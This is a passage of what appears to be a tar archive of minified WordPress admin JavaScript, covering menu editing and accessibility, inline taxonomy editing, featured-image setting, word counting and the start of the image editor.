t,n,i,a,s,m,o,u,d,r,l,c,h;!0===k(e).data("needs_accessibility_refresh")&&(m=0===(s=(a=(e=k(e)).closest("li.menu-item").first()).menuItemDepth()),o=e.closest(".menu-item-handle").find(".menu-item-title").text(),u=e.closest(".menu-item-handle").find(".item-controls").find(".item-type").text(),d=parseInt(a.index(),10),r=m?s:parseInt(s-1,10),r=a.prevAll(".menu-item-depth-"+r).first().find(".menu-item-title").text(),l=a.prevAll(".menu-item-depth-"+s).first().find(".menu-item-title").text(),c=k("#menu-to-edit li").length,h=a.nextAll(".menu-item-depth-"+s).length,a.find(".field-move").toggle(1<c),0!==d&&(n=a.find(".menus-move-up")).attr("aria-label",menus.moveUp).css("display","inline"),0!==d&&m&&(n=a.find(".menus-move-top")).attr("aria-label",menus.moveToTop).css("display","inline"),d+1!==c&&0!==d&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),0===d&&0!==h&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),m||(n=a.find(".menus-move-left"),i=menus.outFrom.replace("%s",r),n.attr("aria-label",menus.moveOutFrom.replace("%s",r)).text(i).css("display","inline")),0!==d&&a.find(".menu-item-data-parent-id").val()!==a.prev().find(".menu-item-data-db-id").val()&&(n=a.find(".menus-move-right"),i=menus.under.replace("%s",l),n.attr("aria-label",menus.moveUnder.replace("%s",l)).text(i).css("display","inline")),m=m?(t=(h=k(".menu-item-depth-0")).index(a)+1,c=h.length,menus.menuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",c)):(d=(r=a.prevAll(".menu-item-depth-"+parseInt(s-1,10)).first()).find(".menu-item-data-db-id").val(),n=r.find(".menu-item-title").text(),i=(l=k('.menu-item .menu-item-data-parent-id[value="'+d+'"]')).length,t=k(l.parents(".menu-item").get().reverse()).index(a)+1,s<2?menus.subMenuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n):menus.subMenuMoreDepthFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n).replace("%6$d",s)),e.attr("aria-label",m),e.data("needs_accessibility_refresh",!1))},refreshAdvancedAccessibility:function(){k(".menu-item-settings .field-move .menus-move").hide(),k("a.item-edit").data("needs_accessibility_refresh",!0),k(".menu-item-edit-active a.item-edit").each(function(){I.refreshAdvancedAccessibilityOfItem(this)})},refreshKeyboardAccessibility:function(){k("a.item-edit").off("focus").on("focus",function(){k(this).off("keydown").on("keydown",function(e){var t,n=k(this),i=n.parents("li.menu-item").getItemData();if((37==e.which||38==e.which||39==e.which||40==e.which)&&(n.off("keydown"),1!==k("#menu-to-edit li").length)){switch(t={38:"up",40:"down",37:"left",39:"right"},(t=k("body").hasClass("rtl")?{38:"up",40:"down",39:"left",37:"right"}:t)[e.which]){case"up":I.moveMenuItem(n,"up");break;case"down":I.moveMenuItem(n,"down");break;case"left":I.moveMenuItem(n,"left");break;case"right":I.moveMenuItem(n,"right")}return k("#edit-"+i["menu-item-db-id"]).trigger("focus"),!1}})})},initPreviewing:function(){k("#menu-to-edit").on("change input",".edit-menu-item-title",function(e){var e=k(e.currentTarget),t=e.val(),e=e.closest(".menu-item").find(".menu-item-title");t?e.text(t).removeClass("no-title"):e.text(wp.i18n._x("(no label)","missing menu item navigation label")).addClass("no-title")})},initToggles:function(){postboxes.add_postbox_toggles("nav-menus"),columns.useCheckboxesForHidden(),columns.checked=function(e){k(".field-"+e).removeClass("hidden-field")},columns.unchecked=function(e){k(".field-"+e).addClass("hidden-field")},I.menuList.hideAdvancedMenuItemFields(),k(".hide-postbox-tog").on("click",function(){var e=k(".accordion-container li.accordion-section").filter(":hidden").map(function(){return this.id}).get().join(",");k.post(ajaxurl,{action:"closed-postboxes",hidden:e,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:"nav-menus"})})},initSortables:function(){var m,a,s,n,o,u,d,r,l,c,e,h=0,p=I.menuList.offset().left,f=k("body"),v=f[0].className&&(e=f[0].className.match(/menu-max-depth-(\d+)/))&&e[1]?parseInt(e[1],10):0;function g(e){n=e.placeholder.prev(".menu-item"),o=e.placeholder.next(".menu-item"),n[0]==e.item[0]&&(n=n.prev(".menu-item")),o[0]==e.item[0]&&(o=o.next(".menu-item")),u=n.length?n.offset().top+n.height():0,d=o.length?o.offset().top+o.height()/3:0,a=o.length?o.menuItemDepth():0,s=n.length?(e=n.menuItemDepth()+1)>I.options.globalMaxDepth?I.options.globalMaxDepth:e:0}function b(e,t){e.placeholder.updateDepthClass(t,h),h=t}0!==k("#menu-to-edit li").length&&k(".drag-instructions").show(),p+=I.isRTL?I.menuList.width():0,I.menuList.sortable({handle:".menu-item-handle",placeholder:"sortable-placeholder",items:I.options.sortableItems,start:function(e,t){var n,i;I.isRTL&&(t.item[0].style.right="auto"),l=t.item.children(".menu-item-transport"),m=t.item.menuItemDepth(),b(t,m),i=(t.item.next()[0]==t.placeholder[0]?t.item.next():t.item).childMenuItems(),l.append(i),n=l.outerHeight(),n=(n+=0<n?+t.placeholder.css("margin-top").slice(0,-2):0)+t.helper.outerHeight(),r=n,t.placeholder.height(n-=2),c=m,i.each(function(){var e=k(this).menuItemDepth();c=c<e?e:c}),n=t.helper.find(".menu-item-handle").outerWidth(),n+=I.depthToPx(c-m),t.placeholder.width(n-=2),(i=t.placeholder.next(".menu-item")).css("margin-top",r+"px"),t.placeholder.detach(),k(this).sortable("refresh"),t.item.after(t.placeholder),i.css("margin-top",0),g(t)},stop:function(e,t){var n=h-m,i=l.children().insertAfter(t.item),a=t.item.find(".item-title .is-submenu");if(0<h?a.show():a.hide(),0!=n){t.item.updateDepthClass(h),i.shiftDepthClass(n);var a=n,s=v;if(0!==a){if(0<a)v<(i=c+a)&&(s=i);else if(a<0&&c==v)for(;!k(".menu-item-depth-"+s,I.menuList).length&&0<s;)s--;f.removeClass("menu-max-depth-"+v).addClass("menu-max-depth-"+s),v=s}}I.registerChange(),t.item.updateParentMenuItemDBId(),t.item[0].style.top=0,I.isRTL&&(t.item[0].style.left="auto",t.item[0].style.right=0),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),t.item.updateParentDropdown(),t.item.updateOrderDropdown(),I.refreshAdvancedAccessibilityOfItem(t.item.find("a.item-edit"))},change:function(e,t){t.placeholder.parent().hasClass("menu")||(n.length?n.after(t.placeholder):I.menuList.prepend(t.placeholder)),g(t)},sort:function(e,t){var n=t.helper.offset(),i=I.isRTL?n.left+t.helper.width():n.left,i=I.negateIfRTL*I.pxToDepth(i-p);s<i||n.top<u-I.options.targetTolerance?i=s:i<a&&(i=a),i!=h&&b(t,i),d&&n.top+r>d&&(o.after(t.placeholder),g(t),k(this).sortable("refreshPositions"))}})},initManageLocations:function(){k("#menu-locations-wrap form").on("submit",function(){window.onbeforeunload=null}),k(".menu-location-menus select").on("change",function(){var e=k(this).closest("tr").find(".locations-edit-menu-link");k(this).find("option:selected").data("orig")?e.show():e.hide()})},attachMenuEditListeners:function(){var t=this;k("#update-nav-menu").on("click",function(e){if(e.target&&e.target.className)return-1!=e.target.className.indexOf("item-edit")?t.eventOnClickEditLink(e.target):-1!=e.target.className.indexOf("menu-save")?t.eventOnClickMenuSave(e.target):-1!=e.target.className.indexOf("menu-delete")?t.eventOnClickMenuDelete(e.target):-1!=e.target.className.indexOf("item-delete")?t.eventOnClickMenuItemDelete(e.target):-1!=e.target.className.indexOf("item-cancel")?t.eventOnClickCancelLink(e.target):void 0}),k("#menu-name").on("input",_.debounce(function(){var e=k(document.getElementById("menu-name")),t=e.val();t&&t.replace(/\s+/,"")?e.parent().removeClass("form-invalid"):e.parent().addClass("form-invalid")},500)),k('#add-custom-links input[type="text"]').on("keypress",function(e){k("#customlinkdiv").removeClass("form-invalid"),k("#custom-menu-item-url").removeAttr("aria-invalid").removeAttr("aria-describedby"),k("#custom-url-error").hide(),13===e.keyCode&&(e.preventDefault(),k("#submit-customlinkdiv").trigger("click"))}),k("#submit-customlinkdiv").on("click",function(e){var t=k("#custom-menu-item-url"),n=t.val().trim(),i=k("#custom-url-error"),a=k("#menu-item-url-wrap");i.hide(),a.removeClass("has-error"),/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(n)||(e.preventDefault(),t.addClass("form-invalid").attr("aria-invalid","true").attr("aria-describedby","custom-url-error"),i.show(),n=i.text(),a.addClass("has-error"),wp.a11y.speak(n,"assertive"))})},attachBulkSelectButtonListeners:function(){var e=this;k(".bulk-select-switcher").on("change",function(){this.checked?(k(".bulk-select-switcher").prop("checked",!0),e.enableBulkSelection()):(k(".bulk-select-switcher").prop("checked",!1),e.disableBulkSelection())})},enableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").addClass("bulk-selection"),k("#nav-menu-bulk-actions-top").addClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").addClass("bulk-selection"),k.each(e,function(){k(this).prop("disabled",!1)})},disableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-top").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").removeClass("bulk-selection"),k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')&&k(".menu-items-delete").removeAttr("aria-describedby"),k.each(e,function(){k(this).prop("disabled",!0).prop("checked",!1)}),k(".menu-items-delete").addClass("disabled"),k("#pending-menu-items-to-delete ul").empty()},attachMenuCheckBoxListeners:function(){var e=this;k("#menu-to-edit").on("change",".menu-item-checkbox",function(){e.setRemoveSelectedButtonStatus()})},attachMenuItemDeleteButton:function(){var t=this;k(document).on("click",".menu-items-delete",function(e){var n,i;e.preventDefault(),k(this).hasClass("disabled")||(k.each(k(".menu-item-checkbox:checked"),function(e,t){k(t).parents("li").find("a.item-delete").trigger("click")}),k(".menu-items-delete").addClass("disabled"),k(".bulk-select-switcher").prop("checked",!1),n="",i=k("#pending-menu-items-to-delete ul li"),k.each(i,function(e,t){t=k(t).find(".pending-menu-item-name").text(),t=menus.menuItemDeletion.replace("%s",t);n+=t,e+1<i.length&&(n+=", ")}),e=menus.itemsDeleted.replace("%s",n),wp.a11y.speak(e,"polite"),t.disableBulkSelection(),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown())})},attachPendingMenuItemsListForDeletion:function(){k("#post-body-content").on("change",".menu-item-checkbox",function(){var e,t,n,i;k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')||k(".menu-items-delete").attr("aria-describedby","pending-menu-items-to-delete"),e=k(this).next().text(),t=k(this).parent().next(".item-controls").find(".item-type").text(),n=k(this).attr("data-menu-item-id"),0<(i=k("#pending-menu-items-to-delete ul").find("[data-menu-item-id="+n+"]")).length&&i.remove(),!0===this.checked&&((i=k("<li>",{"data-menu-item-id":n})).append(k("<span>",{class:"pending-menu-item-name",text:e})),i.append(" "),i.append(k("<span>",{class:"pending-menu-item-type",text:"("+t+")"})),i.append(k("<span>",{class:"separator"})),k("#pending-menu-items-to-delete ul").append(i)),k("#pending-menu-items-to-delete li .separator").html(", "),k("#pending-menu-items-to-delete li .separator").last().html(".")})},setBulkDeleteCheckboxStatus:function(){var e=k("#menu-to-edit .menu-item-checkbox");k.each(e,function(){k(this).prop("disabled")?k(this).prop("disabled",!1):k(this).prop("disabled",!0),k(this).is(":checked")&&k(this).prop("checked",!1)}),this.setRemoveSelectedButtonStatus()},setRemoveSelectedButtonStatus:function(){var e=k(".menu-items-delete");0<k(".menu-item-checkbox:checked").length?e.removeClass("disabled"):e.addClass("disabled")},attachMenuSaveSubmitListeners:function(){k("#update-nav-menu").on("submit",function(){var e=k("#update-nav-menu").serializeArray();k('[name="nav-menu-data"]').val(JSON.stringify(e))})},attachThemeLocationsListeners:function(){var e=k("#nav-menu-theme-locations"),t={action:"menu-locations-save"};t["menu-settings-column-nonce"]=k("#menu-settings-column-nonce").val(),e.find('input[type="submit"]').on("click",function(){return e.find("select").each(function(){t[this.name]=k(this).val()}),e.find(".spinner").addClass("is-active"),k.post(ajaxurl,t,function(){e.find(".spinner").removeClass("is-active")}),!1})},attachQuickSearchListeners:function(){var t;k("#nav-menu-meta").on("submit",function(e){e.preventDefault()}),k("#nav-menu-meta").on("input",".quick-search",function(){var e=k(this);e.attr("autocomplete","off"),t&&clearTimeout(t),t=setTimeout(function(){I.updateQuickSearchResults(e)},500)}).on("blur",".quick-search",function(){I.lastSearch=""})},updateQuickSearchResults:function(e){var t,n,i=e.val(),a=k("#page-search-checklist");I.lastSearch!=i&&(i.length<=1?(a.empty(),wp.a11y.speak(wp.i18n.__("Search results cleared"))):(I.lastSearch=i,t=e.parents(".tabs-panel"),n={action:"menu-quick-search","response-format":"markup",menu:k("#menu").val(),"menu-settings-column-nonce":k("#menu-settings-column-nonce").val(),q:i,type:e.attr("name")},k(".spinner",t).addClass("is-active"),k.post(ajaxurl,n,function(e){I.processQuickSearchQueryResponse(e,n,t)})))},addCustomLink:function(e){var t=k("#custom-menu-item-url").val().toString(),n=k("#custom-menu-item-name").val();if(""!==t&&(t=t.trim()),e=e||I.addMenuItemToBottom,!/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(t))return k("#customlinkdiv").addClass("form-invalid"),!1;k(".customlinkdiv .spinner").addClass("is-active"),this.addLinkToMenu(t,n,e,function(){k(".customlinkdiv .spinner").removeClass("is-active"),k("#custom-menu-item-name").val("").trigger("blur"),k("#custom-menu-item-url").val("").attr("placeholder","https://")})},addLinkToMenu:function(e,t,n,i){n=n||I.addMenuItemToBottom,I.addItemToMenu({"-1":{"menu-item-type":"custom","menu-item-url":e,"menu-item-title":t}},n,i=i||function(){})},addItemToMenu:function(e,n,i){var a,t=k("#menu").val(),s=k("#menu-settings-column-nonce").val();n=n||function(){},i=i||function(){},a={action:"add-menu-item",menu:t,"menu-settings-column-nonce":s,"menu-item":e},k.post(ajaxurl,a,function(e){var t=k("#menu-instructions");e=(e=e||"").toString().trim(),n(e,a),k("li.pending").hide().fadeIn("slow"),k(".drag-instructions").show(),!t.hasClass("menu-instructions-inactive")&&t.siblings().length&&t.addClass("menu-instructions-inactive"),i()})},addMenuItemToBottom:function(e){e=k(e);e.hideAdvancedMenuItemFields().appendTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},addMenuItemToTop:function(e){e=k(e);e.hideAdvancedMenuItemFields().prependTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},attachUnsavedChangesListener:function(){k("#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select").on("change",function(){I.registerChange()}),0!==k("#menu-to-edit").length||0!==k(".menu-location-menus select").length?window.onbeforeunload=function(){if(I.menusChanged)return wp.i18n.__("The changes you made will be lost if you navigate away from this page.")}:k("#menu-settings-column").find("input,select").end().find("a").attr("href","#").off("click")},registerChange:function(){I.menusChanged=!0},attachTabsPanelListeners:function(){k("#menu-settings-column").on("click",function(e){var t,n,i,a,s=k(e.target);if(s.hasClass("nav-tab-link"))n=s.data("type"),i=s.parents(".accordion-section-content").first(),k("input",i).prop("checked",!1),k(".tabs-panel-active",i).removeClass("tabs-panel-active").addClass("tabs-panel-inactive"),k("#"+n,i).removeClass("tabs-panel-inactive").addClass("tabs-panel-active"),k(".tabs",i).removeClass("tabs"),s.parent().addClass("tabs"),k(".quick-search",i).trigger("focus"),i.find(".tabs-panel-active .menu-item-title").length?i.removeClass("has-no-menu-item"):i.addClass("has-no-menu-item"),e.preventDefault();else if(s.hasClass("select-all"))(t=s.closest(".button-controls").data("items-type"))&&((a=k("#"+t+" .tabs-panel-active .menu-item-title input")).length!==a.filter(":checked").length||s.is(":checked")?s.is(":checked")&&a.prop("checked",!0):a.prop("checked",!1));else if(s.hasClass("menu-item-checkbox"))(t=s.closest(".tabs-panel-active").parent().attr("id"))&&(a=k("#"+t+" .tabs-panel-active .menu-item-title input"),n=k('.button-controls[data-items-type="'+t+'"] .select-all'),a.length!==a.filter(":checked").length||n.is(":checked")?n.is(":checked")&&n.prop("checked",!1):n.prop("checked",!0));else if(s.hasClass("submit-add-to-menu"))return I.registerChange(),e.target.id&&"submit-customlinkdiv"==e.target.id?I.addCustomLink(I.addMenuItemToBottom):e.target.id&&-1!=e.target.id.indexOf("submit-")&&k("#"+e.target.id.replace(/submit-/,"")).addSelectedToMenu(I.addMenuItemToBottom),!1}),k("#nav-menu-meta").on("click","a.page-numbers",function(){var n=k(this).closest(".inside");return k.post(ajaxurl,this.href.replace(/.*\?/,"").replace(/action=([^&]*)/,"")+"&action=menu-get-metabox",function(e){var t=JSON.parse(e);-1!==e.indexOf("replace-id")&&(e=document.getElementById(t["replace-id"]),t.markup)&&e&&n.html(t.markup)}),!1})},eventOnClickEditLink:function(e){var t,e=/#(.*)$/.exec(e.href);if(e&&e[1]&&0!==(t=(e=k("#"+e[1])).parent()).length)return t.hasClass("menu-item-edit-inactive")?(e.data("menu-item-data")||e.data("menu-item-data",e.getItemData()),e.slideDown("fast"),t.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active")):(e.slideUp("fast"),t.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive")),!1},eventOnClickCancelLink:function(e){var t=k(e).closest(".menu-item-settings"),e=k(e).closest(".menu-item");return e.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive"),t.setItemData(t.data("menu-item-data")).hide(),e.find(".menu-item-title").text(t.data("menu-item-data")["menu-item-title"]),!1},eventOnClickMenuSave:function(){var e,t=k("#menu-name"),n=t.val();return n&&n.replace(/\s+/,"")?(e=k("#update-nav-menu"),k("#nav-menu-theme-locations select").each(function(){e.append(k("<input>",{type:"hidden",name:this.name,value:k(this).val()}))}),I.menuList.find(".menu-item-data-position").val(function(e){return e+1}),!(window.onbeforeunload=null)):(t.parent().addClass("form-invalid"),!1)},eventOnClickMenuDelete:function(){return!!window.confirm(wp.i18n.__("You are about to permanently delete this menu.\n'Cancel' to stop, 'OK' to delete."))&&!(window.onbeforeunload=null)},eventOnClickMenuItemDelete:function(e){e=parseInt(e.id.replace("delete-",""),10);return I.removeMenuItem(k("#menu-item-"+e)),I.registerChange(),!1},processQuickSearchQueryResponse:function(e,t,n){var i,a,s,m,o={},u=document.getElementById("nav-menu-meta"),d=/menu-item[(\[^]\]*/,e=k("<div>").html(e).find("li"),r=n.closest(".accordion-section-content"),l=r.find(".button-controls .select-all");e.length?(e.each(function(){if(s=k(this),(i=d.exec(s.html()))&&i[1]){for(a=i[1];u.elements["menu-item["+a+"][menu-item-type]"]||o[a];)a--;o[a]=!0,a!=i[1]&&s.html(s.html().replace(new RegExp("menu-item\\["+i[1]+"\\]","g"),"menu-item["+a+"]"))}}),k(".categorychecklist",n).html(e),wp.a11y.speak(wp.i18n.sprintf(wp.i18n.__("%d Search Results Found"),e.length),"assertive"),k(".spinner",n).removeClass("is-active"),r.removeClass("has-no-menu-item"),l.is(":checked")&&l.prop("checked",!1)):(e=wp.i18n.__("No results found."),l=k("<li>"),m=k("<p>",{text:e}),l.append(m),k(".categorychecklist",n).empty().append(l),k(".spinner",n).removeClass("is-active"),r.addClass("has-no-menu-item"),wp.a11y.speak(e,"assertive"))},removeMenuItem:function(t){var n=t.childMenuItems();k(document).trigger("menu-removing-item",[t]),t.addClass("deleting").animate({opacity:0,height:0},350,function(){var e=k("#menu-instructions");t.remove(),n.shiftDepthClass(-1).updateParentMenuItemDBId(),0===k("#menu-to-edit li").length&&(k(".drag-instructions").hide(),e.removeClass("menu-instructions-inactive")),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemRemoved),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown()})},depthToPx:function(e){return e*I.options.menuItemDepthPerLevel},pxToDepth:function(e){return Math.floor(e/I.options.menuItemDepthPerLevel)}};k(function(){wpNavMenu.init(),k(".menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select").on("focus",function(){var e,t,n;783<=window.innerWidth&&(e=k("#nav-menu-footer").height()+20,0<(t=k(this).offset().top-(k(window).scrollTop()+k(window).height()-k(this).height()))&&(t=0),(t*=-1)<e)&&(n=k(document).scrollTop(),k(document).scrollTop(n+(e-t)))})}),k(document).on("menu-item-added",function(){k(".bulk-actions").is(":visible")||k(".bulk-actions").show()}),k(document).on("menu-removing-item",function(e,t){1===k(t).parents("#menu-to-edit").find("li").length&&k(".bulk-actions").is(":visible")&&k(".bulk-actions").hide()})}(jQuery); js/inline-edit-tax.min.js 0000644 00000005665 15233246127 0011314 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp); js/set-post-thumbnail.min.js 0000644 00000001154 15233246127 0012045 0 ustar 00 /*! This file is auto-generated */ window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})}; js/word-count.min.js 0000644 00000002772 15233246127 0010416 0 ustar 00 /*! This file is auto-generated */ !function(){function e(e){var t,s;if(e)for(t in e)e.hasOwnProperty(t)&&(this.settings[t]=e[t]);(s=this.settings.l10n.shortcodes)&&s.length&&(this.settings.shortcodesRegExp=new RegExp("\\[\\/?(?:"+s.join("|")+")[^\\]]*?\\]","g"))}e.prototype.settings={HTMLRegExp:/<\/?[a-z][^>]*?>/gi,HTMLcommentRegExp:/<!--[\s\S]*?-->/g,spaceRegExp:/ | /gi,HTMLEntityRegExp:/&\S+?;/g,connectorRegExp:/--|\u2014/g,removeRegExp:new RegExp(["[","!-@[-`{-~","\x80-\xbf\xd7\xf7","\u2000-\u2bff","\u2e00-\u2e7f","]"].join(""),"g"),astralRegExp:/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,wordsRegExp:/\S\s+/g,characters_excluding_spacesRegExp:/\S/g,characters_including_spacesRegExp:/[^\f\n\r\t\v\u00AD\u2028\u2029]/g,l10n:window.wordCountL10n||{}},e.prototype.count=function(e,t){var s=0;return"characters_excluding_spaces"!==(t=t||this.settings.l10n.type)&&"characters_including_spaces"!==t&&(t="words"),s=e&&(e=(e=(e+="\n").replace(this.settings.HTMLRegExp,"\n")).replace(this.settings.HTMLcommentRegExp,""),e=(e=this.settings.shortcodesRegExp?e.replace(this.settings.shortcodesRegExp,"\n"):e).replace(this.settings.spaceRegExp," "),e=(e="words"===t?(e=(e=e.replace(this.settings.HTMLEntityRegExp,"")).replace(this.settings.connectorRegExp," ")).replace(this.settings.removeRegExp,""):(e=e.replace(this.settings.HTMLEntityRegExp,"a")).replace(this.settings.astralRegExp,"a")).match(this.settings[t+"RegExp"]))?e.length:s},window.wp=window.wp||{},window.wp.utils=window.wp.utils||{},window.wp.utils.WordCounter=e}(); js/image-edit.min.js 0000644 00000036233 15233246127 0010321 0 ustar 00 /*! This file is auto-generated */ !function(c){var s=wp.i18n.__,d=window.imageEdit={iasapi:{},hold:{},postid:"",_view:!1,toggleCropTool:function(t,i,e){var a,o,r,n=c("#image-preview-"+t),s=this.iasapi.getSelection();d.toggleControls(e),"false"==("true"===c(e).attr("aria-expanded")?"true":"false")?(this.iasapi.cancelSelection(),d.setDisabled(c(".imgedit-crop-clear"),0)):(d.setDisabled(c(".imgedit-crop-clear"),1),e=c("#imgedit-start-x-"+t).val()?c("#imgedit-start-x-"+t).val():0,a=c("#imgedit-start-y-"+t).val()?c("#imgedit-start-y-"+t).val():0,o=c("#imgedit-sel-width-"+t).val()?c("#imgedit-sel-width-"+t).val():n.innerWidth(),r=c("#imgedit-sel-height-"+t).val()?c("#imgedit-sel-height-"+t).val():n.innerHeight(),isNaN(s.x1)&&(this.setCropSelection(t,{x1:e,y1:a,x2:o,y2:r,width:o,height:r}),s=this.iasapi.getSelection()),0===s.x1&&0===s.y1&&0===s.x2&&0===s.y2?this.iasapi.setSelection(0,0,n.innerWidth(),n.innerHeight(),!0):this.iasapi.setSelection(e,a,o,r,!0),this.iasapi.setOptions({show:!0}),this.iasapi.update())},handleCropToolClick:function(t,i,e){e.classList.contains("imgedit-crop-clear")?(this.iasapi.cancelSelection(),d.setDisabled(c(".imgedit-crop-apply"),0),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val("")):d.crop(t,i,e)},intval:function(t){return 0|t},setDisabled:function(t,i){i?t.removeClass("disabled").prop("disabled",!1):t.addClass("disabled").prop("disabled",!0)},init:function(e){var t=this,i=c("#image-editor-"+t.postid);t.postid!==e&&i.length&&t.close(t.postid),t.hold.sizer=parseFloat(c("#imgedit-sizer-"+e).val()),t.postid=e,c("#imgedit-response-"+e).empty(),c("#imgedit-panel-"+e).on("keypress",function(t){var i=c("#imgedit-nonce-"+e).val();26===t.which&&t.ctrlKey&&d.undo(e,i),25===t.which&&t.ctrlKey&&d.redo(e,i)}),c("#imgedit-panel-"+e).on("keypress",'input[type="text"]',function(t){var i=t.keyCode;if(36<i&&i<41&&c(this).trigger("blur"),13===i)return t.preventDefault(),t.stopPropagation(),!1}),c(document).on("image-editor-ui-ready",this.focusManager)},calculateImgSize:function(t){var i=this,e=i.intval(c("#imgedit-x-"+t).val()),a=i.intval(c("#imgedit-y-"+t).val());i.hold.w=i.hold.ow=e,i.hold.h=i.hold.oh=a,i.hold.xy_ratio=e/a,i.hold.sizer=parseFloat(c("#imgedit-sizer-"+t).val()),i.currentCropSelection=null},toggleEditor:function(t,i,e){t=c("#imgedit-wait-"+t);i?t.fadeIn("fast"):t.fadeOut("fast",function(){e&&c(document).trigger("image-editor-ui-ready")})},togglePopup:function(t){var i=c(t),t=c(t).attr("aria-controls"),t=c("#"+t);return i.attr("aria-expanded","false"===i.attr("aria-expanded")?"true":"false"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast").css({"z-index":2e5}),"true"===i.attr("aria-expanded")&&t.find("button").first().trigger("focus"),!1},monitorPopup:function(){var e=document.querySelector(".imgedit-rotate-menu-container"),a=document.querySelector(".imgedit-rotate-menu-container .imgedit-rotate");return setTimeout(function(){var 